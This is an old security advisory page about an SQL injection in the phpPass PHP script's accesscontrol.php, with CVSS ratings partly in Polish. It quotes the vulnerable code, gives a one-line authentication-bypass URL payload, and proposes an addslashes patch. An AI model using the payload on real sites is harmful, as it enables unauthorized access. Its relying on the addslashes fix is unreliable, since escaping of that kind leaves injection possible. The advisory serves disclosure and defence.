phpPass (PHP)

2007.11.08
Credit: Frog Man
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

Informations : Version : 2 Website : http://www.agames-net.com Problem : SQL Injection PHP Code/Location : accesscontrol.php : ------------------------------------------------ [...] session_register("uid"); session_register("pwd"); [...] $sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'"; $result = mysql_query($sql); [...] if (mysql_num_rows($result) == 0) { session_unregister("uid"); session_unregister("pwd"); ?> <html> <head> <title> Access Denied </title> [...] exit; [...] ------------------------------------------------ Exploit : http://[target]/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''=' Patch : In accesscontrol.php, replace the lines : ------------------------------------------------- $sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'"; $result = mysql_query($sql); ------------------------------------------------ by : ------------------------------------------------------------------------ $uid=addslashes($uid); $pwd=addslashes($pwd); $sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'"; $result = mysql_query($sql); ------------------------------------------------------------------------ A patch can be found on http://www.phpsecure.org . More details : In French : http://www.frog-man.org/tutos/phpPass.txt translated by Google : http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2F tutos%2FphpPass.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguag e_tools frog-m@n _________________________________________________________________ MSN Messenger : discutez en direct avec vos amis ! http://www.msn.fr/msger/default.asp


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top